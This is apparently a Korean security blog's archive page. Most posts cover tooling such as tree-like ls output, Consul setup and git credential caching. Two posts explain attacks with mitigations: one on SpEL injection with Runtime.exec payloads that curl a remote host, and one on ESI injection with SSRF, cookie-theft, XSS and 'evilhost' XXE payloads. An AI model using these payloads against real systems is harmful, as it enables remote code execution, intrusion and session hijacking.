8/28/2018

tree명령 없이 ls로 treeview로 보기(Treeview without tree command as ls)

개인적으로 시스템 취약점 분석 ~ 개인 리눅스 사용 모두 tree 명령을 굉장히 자주 사용합니다. 다만 간혹, tree가 없는 환경에서 treeview로 보고 싶은 경우가 있는데, ls, grep, sed 3개를 이용하면 tree와 비슷한 형태의 출력을 얻어낼 수 있습니다. 

ls -R | grep ":$" | sed -e 's/:$//' -e 's/[^-][^\/]*\//--/g' -e 's/^/ /' -e 's/-/|/'

1. ls -R 옵션으로 하위 모든 파일을 출력
2. pipe로 grep에 넘겨 directory만 뽑아냅니다. (Directory만 볼 경우)
3. pipe로 sed로 넘겨 tree와 비슷하게 출력 포맷을 맞춰줍니다.

hbxss(https://github.com/hahwul/hbxss) 코드로 테스트해봅시다. 

Directory


#> ls -R | grep ":$" | sed -e 's/:$//' -e 's/[^-][^\/]*\//--/g' -e 's/^/ /' -e 's/-/|/'
 .
 |-hbxss
 |---app
 |-----assets
 |-------config
 |-------images
 |-------javascripts
 |---------channels
 |-------stylesheets
 |-----channels
 |-------application_cable
 |-----controllers
 |-------concerns
 |-----helpers
 |-----jobs
 |-----mailers
 |-----models
 |-------concerns
 |-----views
 |-------layouts
 |-------logs
 |---bin
 |---config
 |-----environments
 |-----initializers
 |-----locales
 |---db
 |-----migrate
 |---lib
 |-----assets
 |-----tasks
 |---log
 |---public
 |---test
 |-----controllers
 |-----fixtures
 |-------files
 |-----helpers
 |-----integration
 |-----mailers
 |-----models
 |-----system
 |---tmp
 |---vendor


Files

#> ls -R | sed -e 's/:$//' -e 's/[^-][^\/]*\//--/g' -e 's/^/ /' -e 's/-/|/'
 .
 db_reset.txt
 hbxss
 LICENSE
 README.md
 update.rb

 |-hbxss
 app
 bin
 config
 config.ru
 db
 Gemfile
 Gemfile.lock
 lib
 log
 package.json
 public
 Rakefile
 README.md
 test
 tmp
 vendor

 |---app
 assets
 channels
 controllers
 helpers
 jobs
 mailers
 models
 views

 |-----assets
 config
 images
 javascripts
 stylesheets

 |-------config
 manifest.js

 |-------images

 |-------javascripts
 application.js
 cable.js
 channels
 logs.coffee

 |---------channels

 |-------stylesheets
 application.css
 logs.scss
 scaffolds.scss

 |-----channels
 application_cable

 |-------application_cable
 channel.rb
 connection.rb

 |-----controllers
 application_controller.rb
 concerns
 logs_controller.rb

 |-------concerns

 |-----helpers
 application_helper.rb
 logs_helper.rb

 |-----jobs
 application_job.rb

 |-----mailers
 application_mailer.rb

 |-----models
 application_record.rb
 concerns
 log.rb

 |-------concerns

 |-----views
 layouts
 logs

 |-------layouts
 application.html.erb
 mailer.html.erb
 mailer.text.erb

 |-------logs
 edit.html.erb
 _form.html.erb
 index.html.erb
 index.json.jbuilder
 _log.json.jbuilder
 new.html.erb
 savelog.html.erb
 show.html.erb
 show.json.jbuilder

 |---bin
 bundle
 rails
 rake
 setup
 spring
 update
 yarn

 |---config
 application.rb
 boot.rb
 cable.yml
 database.yml
 environment.rb
 environments
 initializers
 locales
 puma.rb
 routes.rb
 secrets.yml
 spring.rb

 |-----environments
 development.rb
 production.rb
 test.rb

 |-----initializers
 application_controller_renderer.rb
 assets.rb
 backtrace_silencers.rb
 cookies_serializer.rb
 filter_parameter_logging.rb
 inflections.rb
 mime_types.rb
 wrap_parameters.rb

 |-----locales
 en.yml

 |---db
 migrate
 schema.rb
 seeds.rb

 |-----migrate
 20171110094537_create_logs.rb
 20171120023128_addreferer_to_log.rb
 20171120023639_addreferer_to_logs.rb
 20171120023958_addreferer_tologs.rb
 20171120024103_add_referer_to_log.rb

 |---lib
 assets
 tasks

 |-----assets

 |-----tasks

 |---log

 |---public
 404.html
 422.html
 500.html
 apple|touch-icon.png
 apple|touch-icon-precomposed.png
 favicon.ico
 index.html
 logo.png
 payload.js
 robots.txt

 |---test
 application_system_test_case.rb
 controllers
 fixtures
 helpers
 integration
 mailers
 models
 system
 test_helper.rb

 |-----controllers
 logs_controller_test.rb

 |-----fixtures
 files
 logs.yml

 |-------files

 |-----helpers

 |-----integration

 |-----mailers

 |-----models
 log_test.rb

 |-----system
 logs_test.rb

 |---tmp

 |---vendor
Share: | Coffee Me:

8/26/2018

SpEL(Spring Expression Language) Injection & Spring boot RCE

Spring boot으로 구성된 서비스들을 점검할 때 꼭 체크해야할 부분 중 하나가 SpEL RCE 입니다. 가끔식 참고삼아 데드풀이 작성한 글(Spring boot RCE) 보는데요, 오늘은 제 블로그에 좀 정리해둘까 합니다.

SpEL Injection에 관한 이야기입니다.

SpEL?

우선 간단하게 SpEL에 대해 알고 넘어갑시다. SpEL은 Spring Expression Language 약자로(되게 뻔한 글쓰는 느낌..) Spring Application에 객체를 찾고 사용할 수 있는 언어입니다.
이런 기능들을 지원한다고 하네요.

 - Literal expressions
 - Boolean and relational operators
 - Regular expressions
 - Class expressions
 - Accessing properties, arrays, lists, maps
 - Method invocation
 - Relational operators
 - Assignment
 - Calling constructors
 - Bean references
 - Array construction
 - Inline lists
 - Ternary operator
 - Variables
 - User defined functions
 - Collection projection
 - Collection selection
 - Templated expressions

여기서 우리가 눈여겨 봐야할 것은 Calling constructors, Method invocation 정도입니다(물론 다른것도 중요하지만..)

결국 Spring에서 SpEL은 생성자를 호출하거나 메소드를 실행할 수 있다가 되는데, SpEL을 외부 입력으로 받아서 처리하는 경우가 많아 문제의 소지가 많습니다.
(결국은 SpEL에 우리가 원하는 코드를 넣고 던지면 Spring이 알아서 처리해준단 이야기)

Injection Point & Spring boot RCE

코드를 보고 분석할 수 있는 경우에는 굉장히 쉬워집니다. SpEL을 처리하는 Function과 인자값을 받아주는 곳에 대해 계속 코드 추적을 하면 쉽게 발견할 수 있지요.
SpEL을 처리하는 구간은 이렇습니다.

Expression expression = PARSER.parseExpression(Test);

Test 이란 변수에서 값을 받아서 Expression으로 넘기는데, 이 구간에 SpEL이 사용되는 구간입니다. 내부 코드단에선 Expression으로 선언되나 보네요.
(전 Spring은 잘 몰라서...)

아무튼 상위에 Test 변수가 값을 받아주는 구간이 있다면 아래와 같은 형태로 코드 실행이 가능하니다.
(Test의 변수 값은 위로 올라가 로그인 요청에서 따온다고 합시다, POST Body 값을 SpEL을 통해 처리하기 위해 데이터를 그대로 넘기는 경우)

POST /login HTTP/1.1
Host: localhost:443
Referer: https://localhost:443/login
Content-Type: application/x-www-form-urlencoded
Connection: close

username=user&password=test&repeatedPassword=test&password<strong>[T(java.lang.Runtime).getRuntime().exec("curl http://192.168.0.14:3000/rce")]</strong>=abc

이런식으로 요청이 오고 이 값이 내부에서 parserExpression 메소드로 처리될 때 다른 메소드 실행이 가능해지며(특수문자 필터링 안했으면) 위 코드 기준으론 원격지의 /rce 파일을 curl 명령으로 호출하겠죠.

# [2018-08-26T #866] DEBUG -- : GET /rce

위에서 이야기드린 Spring boot RCE도 같은 원리입니다.

Spring boot은 에러 발생 시 "Whitelabel Error Page" 라는 Spring boot Actuator 에러 페이지를 띄우는데 여기서 에러 메시지 데이터를 내부적으로 SpEL로 처리하며, 에러 내용은 사용자 입력값에 따라 변화될 수 있습니다.

e.g
[ Request ]
https://127.0.0.1/test_page?id=ab${12*12}cd

[ Response ]
Whitelabel Error Page

This application has no explicit mapping for /error, so you are seeing this as a fallback.

Sat Aug 26 00:26:11 MSK 2018
There was an unexpected error (type=Not Found, status=404).
For input string: ab144cd

이런식으로 id라는 파라미터 값이 에러에 찍히는데, 이 내용이 SpEL로 처리되기 떄문에 ${수식} 을 읽어서 12*12인 144로 출력됩니다.
위에서와 동일하게 java.lang.Runtime을 통해 명령행으로 넘겨주면 명령 실행이 가능합니다.

/test_page?id=${T(java.lang.Runtime).getRuntime().exec('curl http://192.168.0.14:3000/rce')}

대응방안(How to Protect)

우선 SpEL Injection 자체는 다른 Injection 류와 동일하게 특수문자에 대한 제어로 해결이 가능합니다. 결국 Runtime을 실행하기 까지 필요한 특수문자들을 필터링하여 막을 수 있습니다.
대표적인 특수문자는 [] 이며 솔직히 안전만 따지면 해당 기능에서 허용해야하는 포맷 이외에는 모드 처리하지 않도록 수정해야겠지요. 요건 언제나 서비스, 환경 고려해서..

두번쨰로 Spring boot RCE의 경우에는 whitelabel error page 제거로 해결 가능합니다. 해당 에러를 사용해야하는 경우에는 입력값이 흘러가지 않도록 수정이 필요합니다.
Spring boot에서 whitelabel error page를 false 처리하고, 아래 브런치 링크 내용과 같이 Custom error 페이지를 만들어주는게 좋겠지요.

server.error.whitelabel.enabled=false

https://brunch.co.kr/@ourlove/70

Reference

https://docs.spring.io/spring/docs/3.0.x/reference/expressions.html
http://deadpool.sh/2017/RCE-Springs/
https://docs.spring.io/spring-boot/docs/current/reference/html/howto-actuator.html
Share: | Coffee Me:

8/24/2018

Consul이란? - Service Mesh Made Easy! (MicroService Architecture with Service Mesh)

최근 재미있는 프로젝트를 하고있는데, Health cheak,  Service discovery 용도로 Consul을 써보게 되었고 글로 약간 정리해둡니다.

hashicorp에서 만든 Consul, 거기서 지정한 DevOps 관련 내용 중 Monitor에 해당하는 부분입니다.

Consul?

"Service Mesh Made Easy"

(Consul is a distributed service mesh to connect, secure, and configure services across any runtime platform and public or private cloud)


공식 홈페이지의 설명(?)으론 위와 같습니다. Service Mesh를 쉽게 해주는 툴이며 Service Mesh Architecture, 즉 클라우드 환경에서 MicroService Architecture 에서 서비스간 통신을 위한 메커니즘 구현을 쉽게 해준다는 이야기입니다.
Service Mesh(MicroService Architecture)에서 추구하는 기능들은 여러가지가 있습니다.

Service Discovery
Load Balancing
Dynamic Request Routing
Circuit Breaking
...등등

이 중 Consul에서 눈에 띄는 부분들은 Health check + Service Discovery + Key/value 입니다. (제가 사용하고, 찾아본 부분들이 이정도라 그정도 시야인듯하네요)

정리하자면, Consul을 이용하면 Health check, Service Discovery 등 서비스간 통신 채널을 복잡하지 않고 깔끔하게 구현할 수 있다고 보입니다. (보통 클라우드쪽에서 많이 이야기나오는듯하네요)

How to Install?

Consul은 단일 바이너리로 동작하며 옵션을 통해 크게 Agent와 Server로 기능을 나누어 처리할 수 있습니다. 설치 자체는 뭐 크게 불편한점 없습니다. 바이너리의 경우 OS 버전에 맞는 바이너리 받아서 실행하면되고, 직접 빌드 시 git clone 후 make 해주시면 됩니다.
빌드의 경우 Consul이 go로 만들어졌기 때문에 GOPATH 지정이 필요합니다.

[ Binary ]
https://www.consul.io/downloads.html

[ Build ]
#> mkdir -p $GOPATH/src/github.com/hashicorp&& cd $!
#> git clone https://github.com/hashicorp/consul.git
#> cd consul

빌드,

#> make tools

or

#> make dev

직접 바이너리를 실행하여 구동할 수 있습니다. /usr/bin 에 넣고 명령행처럼 사용해도 되고, 아님 바이너리 직접 호출해서 쓰셔도 무방합니다.

#> consul -v

Usage: consul [--version] [--help] <command> [<args>]

Available commands are:
    agent          Runs a Consul agent
    catalog        Interact with the catalog
    connect        Interact with Consul Connect
    event          Fire a new event
    exec           Executes a command on Consul nodes
    force-leave    Forces a member of the cluster to enter the "left" state
    info           Provides debugging information for operators.
    intention      Interact with Connect service intentions
    join           Tell Consul agent to join cluster
    keygen         Generates a new encryption key
    keyring        Manages gossip layer encryption keys
    kv             Interact with the key-value store
    leave          Gracefully leaves the Consul cluster and shuts down
    lock           Execute a command holding a lock
    maint          Controls node or service maintenance mode
    members        Lists the members of a Consul cluster
    monitor        Stream logs from a Consul agent
    operator       Provides cluster-level tools for Consul operators
    reload         Triggers the agent to reload configuration files
    rtt            Estimates network round trip time between nodes
    snapshot       Saves, restores and inspects snapshots of Consul server state
    validate       Validate config files/directories
    version        Prints the Consul version
    watch          Watch for changes in Consul

따로 정리할까 하다가 너무 많아서 그냥 링크 하나 남겨놓습니다. Agent, Server 모드 이외에도 현재 Health나 Discovery 정보를 얻어올 수 있는 옵션들이 많습니다.
Agent-Server로 구성하고 Cli 모드로 추가적인 정보를 가져와서 다른 Application에서 활용할 수 있겠네욤

[ Cli commands ]
https://www.consul.io/docs/commands/index.html

서비스 구동 방식

실제로 사용할떈 Client-Server 느낌으로 보이지만, Agent 또한 서버로 동작하며 이를 총 관리해주는 리더서버가 존재합니다.

리더서버 : Consul Server
노드서버 : Consul Agent
   

Consul server

음 우선 리더서버인 Consul server는 Node(Consul Agent)들의 정보를 관리합니다. 데모 주소 보시면 어떤 느낌인지 감 오실겁니다.

[ demo ]
https://demo.consul.io/ui/


우선 관리서버 Web UI를 위해 hashicorp 홈페이지에서 consul web ui를 다운받아 압축 해제합니다.

#> cd /consul-ui
#> wget https://releases.hashicorp.com/consul/0.7.2/consul_0.7.2_web_ui.zip
#> unzip consul_0.7.2_web_ui.zip

이제 Consul server를 동작할텐데요, 동작에 앞서 Key generate가 필요합니다. generate된 key를 각각 Agent의 설정 파일로 넘겨주어 통신을 성공시킬 수 있습니다.

#> consul key gen
zRaQ1ZhnLB777nw0Lpoo2w==

해당 값은 복사해두셨다가 Agent config에 넣어주시면 됩니다.
다시 본론으로 와서, server의 config 파일을 작성합니다. 여기서 아까 압축 해제한 web ui 디렉토리 경로 또한 추가해줍니다. (ui_dir)

#>vim /etc/consul.d/server/config.json

{
  "bootstrap": true,
  "server": true,
  "datacenter": "test",
  "ui_dir": "/consul-ui",
  "data_dir": "/data/consul",
  "encrypt": "[key 생성 내용]",
  "addresses": {
      "http": "[Consul 서버 IP]"
  }
}

그러고 consul agent를 --server 옵션을 주어 실행하여 서버로 동작시킵니다.

#> consul agent --server -config-dir=/etc/consul.d/server -bind=[Consul 서버 IP]

Consul Agent

Agent는 아까 생성한 키 값을 포함하여 설정 파일을 만들어줍니다. 서버 IP도 기록해줍니다.

#> vim /etc/consul.d/agent/config.json
{
  "server": false,
  "datacenter": "test",
  "data_dir": "/data/consul",
  "encrypt": "[key 생성 내용]",
  "start_join": ["[Consul 서버 IP]"]
}

그러고 agent 옵션에 --server 없이 명령행으로 전달하면 Consul Agent(node)가 생성되고 통신을 시도하게 됩니다.

#> consul agent -config-dir /etc/consul.d/agent -bind=[Consul agent IP]

Consul은 실행(Server/Agent) 시 8500 포트가 올라가며 이를 통해 서비스 등록/제거를 할 수 있습니다.

http://127.0.0.1:8500/v1/agent/service/register
http://127.0.0.1:8500/v1/agent/service/deregister/[id]

등록 시 JSON 포맷으로 개별 서비스의 설정 정보를 같이 전달해줍니다.

{
  "service": {
    "name": "HAHWUL-Redis",
    "tags": ["New"],
    "address": "",
    "port": 8000,
    "enableTagOverride": false,
    "checks": [
      {
         # "script": "/data/redis.rb", # 일반 스크립트도 가능합니다.
        "http" : "http://127.0.0.1:4000/health", # 10초마다 /health 페이지를 접근하여 체크합니다.
        "interval": "10s"
      }
    ]
  }
}

이후 Consul에서 Cli든 API던 서비스 정보를 받아올 수 있어 이를 이용하여 서비스에 필요한 로직을 추가로 구현하면 됩니당 :)
Share: | Coffee Me:

8/23/2018

Git pull/push 시 Password 물어보지 않도록 설정하기(credential.helper)

git을 쓰다보면 간혹 config 미스, 환경 변경으로 push/pull 등 기능 실행 시 계정과 패스워드를 물어보는 경우가 발생합니다.

credential 설정이 되어있지 않다면 계정정보를 요청하는게 당연하지만 한창 개발하고 있는 과정에서는 굉장히 귀찮고 번거로워집니다.
(특히나 제 툴들은 대다수가 git pull로 업데이트를 수행하기 떄문에...더더욱..)

여러가지 방법이 있겠지만 아래 2가지 방법이 개인적으로 맘에들어 사용합니다.

1. Credential 정보 저장

#> git config credential.helper store

credential.helper의 store 옵션을 주게되면 해당 git directory에선 반영구적으로 인증 절차가 생략됩니다.(저장된 credential 정보를 이용해 인증 처리)

2. 캐시 저장

#> git config credential.helper cache

임시로 일정 시간동안 저장하기에는 cache 가 더욱 유용합니다. cache 옵션을 주게되면 기본적으로 15분 동안 인증 절차를 요구하지 않습니다.
시간은 timeout 옵션으로 지정해줄 수 있습니다. (초 단위이며 아래와 같이 지정 시 3600초, 즉 1시간의 유효시간을 가집니다)

#> git config credential.helper 'cache --timeout=3600'


모드 프로젝트에 적용

git config의 공통적인 설정과 같이 --global 옵션을 주게되면 해당 git directory 이외에 모든 git 활동에서 저장된 정보를 이용하게 됩니다.


#> git config credential.helper store --global

Reference

https://git-scm.com/docs/git-credential-cache
Share: | Coffee Me:

8/18/2018

ESI(Edge Side Include) Injection을 이용한 Web Attack(XSS, Session hijacking, SSRF / blackhat 2018)

주말동안 시간나면 천천히 blackhat, defcon 자료좀 볼까해서 보다보니 글로 공유드리면 괜찮을 것 같은 내용이 있어 포스팅 작성해봅니다. 바로 ESIi(ESI Injection)에 대한 내용입니다.

http://i.blackhat.com/us-18/Wed-August-8/us-18-Dion_Marcil-Edge-Side-Include-Injection-Abusing-Caching-Servers-into-SSRF-and-Transparent-Session-Hijacking.pdf


ESI(Edge Side Include)?

우선 ESI에 대해 짚고 넘어가는게 좋을 것 같습니다. 개인적으로 이름 정도만 들어봤던지라 문서 보고 내용 좀 더 찾아보았습니다.
ESI은 웹 캐시, LB(Load Balancer)에서 많이 등작하는 말이며 page assembly를 위한 표준 태그라고 합니다. 아카마이쪽에선 이렇게 정의합니다.

"ESI(Edge Side Includes)는 인터넷의 Edge에서 웹 애플리케이션의 동적 어셈블리 및 전송을 위한 웹 페이지 구성 요소를 정의하는 데 사용되는 간단한 마크업 언어"

결국은 HTML Tag와 같이 웹 페이지를 구성할 수 있는 태그? 마크업 같은 역할을 하며 이에 대한 내용은 코드단을 보시면 더 명확하게 이해갑니다.
아래 링크들은 참고해주세요

https://www.akamai.com/kr/ko/support/esi.jsp
https://www.w3.org/TR/esi-lang
http://www.dbguide.net/upload/data/sem_data/Tech-iSeminar_AS10g_Webcache.pdf

HTML 코드 내에서 ESI은 아래와 같이 사용됩니다. <esi: 태그로 명시되며 이 코드는 웹단에 넘어오기 전에 캐시서버에서 미리 처리되어 데이터가 넘어옵니다.

<table>
<tr>
<td>test</td>
<td>
<esi:try>
  Invalid markup here
    <esi:attempt>
        <esi:include … >   
<!-- 실제 코드 구성으론 <esi: 이렇게 시작하지만 캐시에서 해당 부분 내용을 채우고 사용자에게 넘겨줍니다. -->
        This line is valid and will be processed.
    </esi:attempt>
        Invalid markup here
    <esi:except>
        This HTML line is valid and will be processed.
    </esi:except>
    Invalid markup here
</esi:try>
</td>

이런 방식으로 동작합니다.

FE-BE로 표현하는게 좋을지 모르겠네요. 아무튼 Client to Server 관계입니다.

esi 문법에 따라서 여러가지 기능 수행이 가능합니다. 아래와 같이 원격지 데이터를 읽어서 페이지에 뿌려줄 수도 있고

[ page1.html ]
<html>
<p>This is page 1!</p>
<esi:include src="///page2.html"/>
</html>

[ page2.html ]
<p>This is page 2!</p>

<!-- 실제 결과로는 page1 내부에 page2 내용이 찍히게 되죠. -->
<!-- 눈치채셨을 수 있겠지만, 딱봐도 SSRF 가능하네요 (_ _) -->

이런식으로 쿠키나 UA 등을 가져올 수도 있습니다.

<html>
<p>This is page 1!</p>
<esi:vars>$(HTTP_COOKIE{YOUR_COOKIE})</esi:vars>
</html>

<!--
참고

$(HTTP_USER_AGENT) → Mozilla/5.0 (X11;[…]
$(QUERY_STRING) → city=Montreal&format=C
$(HTTP_COOKIE) → _ga=[…]&__utma=[…]
-->
<!-- 여기서도 눈치채셨을 것 같은데, 보안헤더 설정과 다르게 쿠키나 URL Query를 가져올 수 있으니.. -->
<!-- 세션 탈취도 가능하겠지요. -->

Attack Vector

넵 위에서 말씀드렸듯이 쿠키값을 가져오거나 원격지 접근해서 데이터를 쓸 수 있기 때문에 SSRF, Session Hijacking이 가능합니다. 번외로 XSS도 동일하겠구요(그치만 ESI 구문 넣었을때 부터가 이미 XSS에 어느정도 취약한거기 떄문에.. )

대략 어떤식으로 코드 나올지 봐보면..

SSRF

<esi:include src=http://127.0.0.1/server-status/>
<esi:include src=http://internal_domain/server_base_csrf_page/>

Sessions Hijacking

<esi:vars>$(HTTP_COOKIE{PHPSESSID})</esi:vars>
<esi:vars>$(HTTP_COOKIE{JSESSIONID})</esi:vars>
<esi:vars>$(HTTP_COOKIE{Private_Cookie})</esi:vars>

XSS

<esi:include src=http://vaha.hahwul.com/test/xss.html/>

XXE

<esi:include src="http://evilhost/poc.xml" dca="xslt" stylesheet="http://evilhost/poc.xsl" />

어떤 환경에서 취약할까?

우선 ESI가 사용되는 환경어야 가능합니다. 맨 위에 내용대로 캐시 서버나 LB 사용여부가 중요할 것 같습니다. Client와 App Server 사이에 캐시, 로드밸런서가 있고 ESI가 사용된다고 하면 우선 가능성이 굉장히 높아지구요.

추가로 ESI 태그 사용이 가능해야하기 때문에 특수문자가 삽입될 수 있어야합니다. 여기서 보편적인 XSS 공격 포인트와 유사해지며 ESI를 이용한 SSRF 형태의 공격에선 Reflected XSS 삽입 부분에서도 사용할 수 있기 때문에 캐시/LB 환경이 경우에 테스트해야할 범위가 굉장히 많아질 것 같습니다. 

해당 취약점에 대한 내용과 함께 언급된 2개의 서비스가 있는데, 바로 Apache Traffic Server(ATS), Oracle Web Cache입니다. 해당 서버들이 쓰이는 환경에선 무조건적으로 체크가 필요할 것 같고,
이외에도 ESI를 사용하는 다른 서비스들 또한 체크가 필요할 것 같습니다.

ATS에 대한 자세한 설명은 아래 블로그 참고 부탁드리며, Oracle Web Cache는 .. 아직 눈에 띄이는 글을 보진 못했네요.

=> ats : http://jiyupapa.tistory.com/15
=> owc : ??

이외에도 여러가지 서비스가 있습니다.

ServiceIncludeParamHeaders
ATS(Apache Traffic Server)OOO
Squid3OOO
Varnish CacheONN
FastlyONN
Akamai ESI Test ServerOOO
NodeJS - esiOOO
NodeJS - nodesiONN
Oracle Web CacheOOO

Conclusion

간단할 수 있느데, 분명 XSS와 공격 방식이 겹치기 떄문에 일거리가 굉장히 많아질수도 있습니다.

문서에서 제시한 테스트 방법은 아주 괜찮은 것 같습니다. 그냥 ESI 지원 여부만 판단해도, 취약점 잡아내기는 좋을 것 같기 때문에, 아래 사항 체크해보고 반응이 있다면 해당 서비스의 XSS와 같이 테스트해야할 것 같네요.

FOO<!—esi —>BAR → FOOBAR (취약) 
FOO<!—foo —>BAR → FOO<!—foo —>BAR

대응방안은 우선 XSS와 동일할 것 같습니다.

- 불필요한 특수문자, 데이터 타입 처리하지 않도록 수정
- 게시판 같이 특수문자 사용이 필요하면 White list로 태그, 핸들러 필터링
- 문서에서 제시한 backslash 방법도 괜찬긴하나, 기능상, 우회 가능성상 크게 좋아보이진 않습니다. 참고만 해주심 되겠습니다.
<esi:include src=\"http://vaha.hahwul.com/test/xss.html\"/>

us-18-Dion_Marcil-Edge-Side-Include-Injection-Abusing-Caching-Servers-into-SSRF-and-Transparent-Session-Hijacking.pdf 문서 일부

내용은 금요일 퇴근길에 얼추 봐두었느데, 이제서야 글을 쓰네요(주말엔 정말 컴퓨터 키기 왜이리 귀찮은건지...)

아무튼, 테스트해볼 공격 벡터가 늘었고, 일하거나 놀때 조금 더 신경써서 봐야겠네요.

Reference

https://www.akamai.com/kr/ko/support/esi.jsp
https://www.w3.org/TR/esi-lang
http://www.dbguide.net/upload/data/sem_data/Tech-iSeminar_AS10g_Webcache.pdf
http://i.blackhat.com/us-18/Wed-August-8/us-18-Dion_Marcil-Edge-Side-Include-Injection-Abusing-Caching-Servers-into-SSRF-and-Transparent-Session-Hijacking.pdf


Share: | Coffee Me:

8/17/2018

Defcon 2018 발표 자료 및 Briefings list

최근 Blackhat 2018 USA / Defcon 행사가 진행됬었습니다. 자료도 슬슬 올라오고 어떤 내용의 발표들이 있었는지 Title만 정리해둡니다. (천천히 읽어봐야겠네요, 재미있는건 포스팅하도록 하겠습니다)


자료는 모두 media 서버로 올라와있습니다.
https://media.defcon.org/DEF%20CON%2026

Briefings

-Optimistic Dissatisfaction with the Status Quo: Steps We Must Take to Improve Security in Complex Landscapes
-A Brief History of Mitigation: The Path to EL1 in iOS 11
-A Deep Dive into macOS MDM (and How it can be Compromised)
-A Dive in to Hyper-V Architecture & Vulnerabilities
-A Tangled Curl: Attacks on the Curl-P Hash Function Leading to Signature Forgeries in the IOTA Signature Scheme
-AFL\'s Blindspot and How to Resist AFL Fuzzing for Arbitrary ELF Binaries
-AI & ML in Cyber Security - Why Algorithms are Dangerous
-An Attacker Looks at Docker: Approaching Multi-Container Applications
-Another Flip in the Row
-Applied Self-Driving Car Security
-Are You Trading Stocks Securely? Exposing Security Flaws in Trading Technologies
-ARTist - A Novel Instrumentation Framework for Reversing and Analyzing Android Apps and the Middleware
-Automated Discovery of Deserialization Gadget Chains
-Back to the Future: A Radical Insecure Design of KVM on ARM
-Beating the Blockchain by Mapping Out Decentralized Namecoin and Emercoin Infrastructure
-Behind the Speculative Curtain: The True Story of Fighting Meltdown and Spectre
-Black Box is Dead. Long Live Black Box!
-Blockchain Autopsies - Analyzing Ethereum Smart Contract Deaths
-Breaking Parser Logic: Take Your Path Normalization off and Pop 0days Out!
-Breaking the IIoT: Hacking industrial Control Gateways
-CANCELLED: Too Soft[ware Defined] Networks: SD-WAN VulnerabilityAssessment
-Catch me Yes we can! – Pwning Social Engineers using Natural Language Processing Techniques in Real-Time
-Compression Oracle Attacks on VPN Networks
-Decompiler Internals: Microcode
-Deep Dive into an ICS Firewall Looking for the Fire Hole
-Deep Neural Networks for Hackers: Methods Applications and Open Source Tools
-DeepLocker - Concealing Targeted Attacks with AI Locksmithing
-Demystifying PTSD in the Cybersecurity Environment
-Detecting Credential Compromise in AWS
-Detecting Malicious Cloud Account Behavior: A Look at the New Native Platform Capabilities
-Dissecting Non-Malicious Artifacts: One IP at a Time
-Don\'t @ Me: Hunting Twitter Bots at Scale
-Edge Side Include Injection: Abusing Caching Servers into SSRF and Transparent Session Hijacking
-Efail: Breaking S/MIME and OpenPGP Email Encryption using Exfiltration Channels
-Every ROSE has its Thorn: The Dark Art of Remote Online Social Engineering
-Exploitation of a Modern Smartphone Baseband
-Exposing the Bait: A Qualitative Look at the Impact of Autonomous Peer Communication to Enhance Organizational Phishing Detection
-Finding Xori: Malware Analysis Triage with Automated Disassembly
-Fire & Ice: Making and Breaking macOS Firewalls
-Follow the White Rabbit: Simplifying Fuzz Testing Using FuzzExMachina
-For the Love of Money: Finding and Exploiting Vulnerabilities in Mobile Point of Sales Systems
-From Bot to Robot: How Abilities and Law Change with Physicality
-From Thousands of Hours to a Couple of Minutes: Automating Exploit Generation for Arbitrary Types of Kernel Vulnerabilities
-From Workstation to Domain Admin: Why Secure Administration isn\'t Secure and How to Fix it
-GOD MODE UNLOCKED - Hardware Backdoors in x86 CPUs
-Hardening Hyper-V through Offensive Security Research
-Holding on for Tonight: Addiction in InfoSec
-How can Communities Move Forward After Incidents of Sexual Harassment or Assault?
-How can Someone with Autism Specifically Enhance the Cyber Security Workforce?
-How I Learned to Stop Worrying and Love the SBOM
-I for One Welcome Our New Power Analysis Overlords
-Identity Theft: Attacks on SSO Systems
-InfoSec Philosophies for the Corrupt Economy
-IoT Malware: Comprehensive Survey Analysis Framework and Case Studies
-Is the Mafia Taking Over Cybercrime?
-It\'s a PHP Unserialization Vulnerability Jim but Not as We Know It
-KeenLab iOS Jailbreak Internals: Userland Read-Only Memory can be Dangerous
-Kernel Mode Threats and Practical Defenses
-Last Call for SATCOM Security
-Legal Landmines: How Law and Policy are Rapidly Shaping Information Security
-Legal Liability for IOT Cybersecurity Vulnerabilities
-Lessons and Lulz: The 4th Annual Black Hat USA NOC Report
-Lessons from Virginia - A Comparative Forensic Analysis of WinVote Voting Machines
-Lowering the Bar: Deep Learning for Side Channel Analysis
-LTE Network Automation Under Threat
-Mainframe [z/OS] Reverse Engineering and Exploit Development
-Measuring the Speed of the Red Queen\'s Race; Adaption and Evasion in Malware
-Meltdown: Basics Details Consequences
-Mental Health Hacks: Fighting Burnout Depression and Suicide in the Hacker Community
-Miasm: Reverse Engineering Framework
-Money-rity Report: Using Intelligence to Predict the Next Payment Card Fraud Victims
-New Norms and Policies in Cyber-Diplomacy
-New Trends in Browser Exploitation: Attacking Client-Side JIT Compilers
-No Royal Road … Notes on Dangerous Game
-None of My Pixel is Your Business: Active Watermarking Cancellation Against Video Streaming Service
-Open Sesame: Picking Locks with Cortana
-Outsmarting the Smart City
-Over-the-Air: How we Remotely Compromised the Gateway BCM and Autopilot ECUs of Tesla Cars
-Pestilential Protocol: How Unsecure HL7 Messages Threaten Patient Lives
-Playback: A TLS 1.3 Story
-Practical Web Cache Poisoning: Redefining \'Unexploitable\'
-Protecting the Protector Hardening Machine Learning Defenses Against Adversarial Attacks
-Real Eyes Realize Real Lies: Beating Deception Technologies
-Reconstruct the World from Vanished Shadow: Recovering Deleted VSS Snapshots
-Remotely Attacking System Firmware
-Return of Bleichenbacher\'s Oracle Threat (ROBOT)
-Reversing a Japanese Wireless SD Card - From Zero to Code Execution
-Screaming Channels: When Electromagnetic Side Channels Meet Radio Transceivers
-SDL That Won\'t Break the Bank
-SirenJack: Cracking a \'Secure\' Emergency Warning Siren System
-Snooping on Cellular Gateways and Their Critical Role in ICS
-So I became a Domain Controller
-Software Attacks on Hardware Wallets
-Squeezing a Key through a Carry Bit
-Stealth Mango and the Prevalence of Mobile Surveillanceware
-Stop that Release There\'s a Vulnerability!
-Stress and Hacking: Understanding Cognitive Stress in Tactical Cyber Ops
-Subverting Sysmon: Application of a Formalized Security Product Evasion Methodology
-The Air-Gap Jumpers
-The Finest Penetration Testing Framework for Software-Defined Networks
-The Problems and Promise of WebAssembly
-The Science of Hiring and Retaining Female Cybersecurity Engineers
-The Unbearable Lightness of BMC\'s
-The Windows Notification Facility: Peeling the Onion of the Most Undocumented Kernel Attack Surface Yet
-There will be Glitches: Extracting and Analyzing Automotive Firmware Efficiently
-Threat Modeling in
-TLBleed: When Protecting Your CPU Caches is Not Enough
-TRITON: How it Disrupted Safety Systems and Changed the Threat Landscape of Industrial Control Systems Forever
-Two-Factor Authentication Usable or Not? A Two-Phase Usability Study of the FIDO U
